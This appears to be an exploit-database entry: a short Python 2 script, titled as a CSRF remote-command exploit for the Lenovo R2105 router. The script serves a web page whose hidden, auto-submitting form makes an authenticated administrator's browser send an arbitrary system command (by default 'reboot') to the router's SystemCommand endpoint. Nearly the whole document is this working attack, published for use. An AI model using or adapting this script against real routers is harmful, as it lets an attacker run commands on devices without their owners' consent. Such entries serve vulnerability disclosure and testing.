Lenovo R2105 – Cross-Site Request Forgery (Command Execution)
# Exploit Title: Lenovo R2105 Remote Code Execution through CSRF # Date: 01/14/2019 # Exploit Author: Nathu Nandwani # Website: http://nandtech.co/ # Version: 1.0 # Tested on: Windows 10 x64 # Note: The administrator who opens the URL should be authenticated. import socket server_ip = "0.0.0.0" server_port = 80 router_ip = "192.168.11.1" command = "reboot" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((server_ip, server_port)) sock.listen(1) print "Currently listening at " + server_ip + ":" + str(server_port) client, (client_host, client_port) = sock.accept() print "Client connected: " + client_host + ":" + str(client_port) print "" print client.recv(1000) client.send('HTTP/1.0 200 OK\r\n') client.send('Content-Type: text/html\r\n') client.send('\r\n') client.send(""" <html> <body> <form method="post" id="frmcmd" name="frmSetup" action="http://""" + router_ip + """/goform/SystemCommand"> <input name="command" value=""" + command + """ type="hidden"> <input name="SystemCommandSubmit" value="Apply" type="hidden"> </form> <script> document.getElementById("frmcmd").submit(); </script> </body> </html> """) client.close() sock.close() |